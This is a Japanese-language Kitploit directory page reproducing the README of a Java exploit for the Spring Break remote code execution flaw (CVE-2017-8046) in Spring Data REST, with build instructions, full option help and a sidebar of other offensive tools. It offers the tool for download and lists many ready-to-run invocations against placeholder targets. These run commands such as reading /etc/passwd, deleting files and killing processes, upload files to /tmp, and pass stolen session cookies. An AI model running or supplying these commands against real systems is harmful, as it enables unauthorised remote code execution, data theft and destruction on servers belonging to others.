Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
spring-break_cve-2017-8046 — これはSpring Break脆弱性(CVE-2017-8046)を悪用するJavaプログラムです。 | Kitploit
ツール/GitHubGitHub/m3ssap0/spring-break_cve-2017-8046
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubm3ssap0/spring-break_cve-2017-8046

spring-break_cve-2017-8046

これはSpring Break脆弱性(CVE-2017-8046)を悪用するJavaプログラムです。

リポジトリを見る
1711245年前未レビュー
共有

spring-break_cve-2017-8046

これは Spring Break 脆弱性 (CVE-2017-8046) を悪用するJavaプログラムです。

このソフトウェアは、外部依存関係を可能な限り少なくするように書かれています。

免責事項

このツールは、セキュリティエンジニアおよびアプリセキュリティ担当者がセキュリティ評価を行うことを目的としています。このツールは責任を持って使用してください。本アプリケーションの使用方法について、私は一切責任を負いません。また、このツールの使用によって生じた損害や犯罪についても、私は一切責任を負いません。

脆弱性情報

  • CVE-ID: CVE-2017-8046
  • リンク: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • 説明: Pivotal Spring Data REST の 2.5.12、2.6.7、3.0 RC3 より前のバージョン、Spring Boot の 2.0.0M4 より前のバージョン、および Kay-RC3 より前の Spring Data リリーストレインにおける spring-data-rest サーバーに送信される悪意のある PATCH リクエストは、特別に細工されたJSONデータを使用して任意のJavaコードを実行できます。
  • ベンダーリンク: https://pivotal.io/security/cve-2017-8046

実行可能JARの生成方法

ここでは、すべての依存関係を含み、エクスプロイトの起動に使用できる実行可能JARを生成するために従うべき手順を説明します。

Mavenを使用する場合

以下のMavenコマンドを実行できます:

mvn clean compile package

Eclipseを使用する場合

以下の手順を実行できます:

  1. すべての外部依存関係/ライブラリを解決します;
  2. Eclipseプロジェクトを右クリックし、Run As > Run Configurations に移動します;
  3. Java Application を右クリックし、次に New をクリックします;
  4. 名前を選択し、メインクラスを com.afs.exploit.spring.SpringBreakCve20178046 に設定します;
  5. Apply ボタンをクリックします;
  6. ウィンドウを閉じて、メインのEclipseウィンドウに戻ります;
  7. Eclipseプロジェクトを右クリックし、Export... をクリックします;
  8. Runnable JAR file(Java ブランチ配下)を見つけて選択します;
  9. 次のウィンドウで:
    1. 以前に作成した正しい Launch configuration を選択します;
    2. Export destination を選択します;
    3. Extract required libraries into generated JAR オプションを選択します;
    4. Finish ボタンをクリックします。

ヘルプ

Usage:
   java -jar spring-break_cve-2017-8046.jar [options]
Description:
   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
      You have to choose an existent resource.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   -U, --upload [file_to_upload]
      File to upload to the remote machine. Will be uploaded to the current working
      directory of the java process. Warning: this will only succeed on a server running
      JRE-1.7 or later.
   --remote-upload-directory [/some/existing/path/]
      Optional. Server will attempt to write the uploaded file to this directory on the
      filesystem. Specified directory must exist and be writeable.
   --cookies [cookies]
      Optional. Cookies passed into the request, e.g. authentication cookies.
   -H, --header [custom_header]
      Optional. Custom header passed into the request, e.g. authorization header.
   -k
      Skip SSL validation
   --clean
      Optional. Removes error messages in output due to the usage of the
      exploit. It could hide error messages if the request fails for other reasons.
   --error-stream
      Optional. In case of errors the command will fail and the error stream will
      not be returned. This option can be used to relaunch the remote command
      returning the error stream.
   -v, --verbose
      Optional. Increase verbosity.

使用例

java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean

参照するリソース/URLが存在している必要があることに注意してください!

脆弱なアプリケーション

脆弱なアプリケーションはここにあります。

著作者

  • Antonio Francesco Sardella - メイン実装 - m3ssap0
  • Yassine Tioual - HTTPヘッダー拡張 - nisay759
  • Robin Wagenaar - 'replace' の代わりにパッチ操作 'remove' を使用する提案と、ファイルアップロード機能の提供 - RobinWagenaar

ライセンス

このプロジェクトはApache License Version 2.0の下でライセンスされています。詳細は LICENSE.txt ファイルを参照してください。

謝辞

  • Man Yue Mo この脆弱性を発見したセキュリティ研究者
ツールをダウンロード

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 究極のOSINTツールキット:調査グラフ、信頼度スコアリング、エイリアスファミリー、マップ、タイムライン、レポート。49個のモジュール、400以上のサイト、APIキー不要。

    640
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock ワンタップ実行アプリ(CVE-2026-43499)

    479
  • 3

    ARTEX

    baarai/artex

    プランナー/ワーカーエージェント、資産グラフと探索グラフ、MITMトラフィック記録、脆弱性の再テストを備えたLLMマルチエージェント自律ペネトレーションテストプラットフォーム。

    391
  • 4

    redforge

    cybersecurity91/redforge

    ブラウザ側のレッドチームツールキット。偵察、ペイロード生成、認証情報攻撃、暗号、エンコーディング、エンゲージメントレポート向けの102のオフラインツールを備えています。

    335
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AIネイティブなサイバーセキュリティのためのアクションシステム。意図がガバナンスされた実行に変わり、証拠が運用記憶となり、すべての操作が次の操作を改善する。

    258
  • 6

    antifox

    antifox-ai/antifox

    偵察、攻撃対象領域の探索、エクスプロイト検証、証拠に基づくレポート提供を実行するAIマルチエージェント自律ペネトレーションテストプラットフォーム。

    249

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →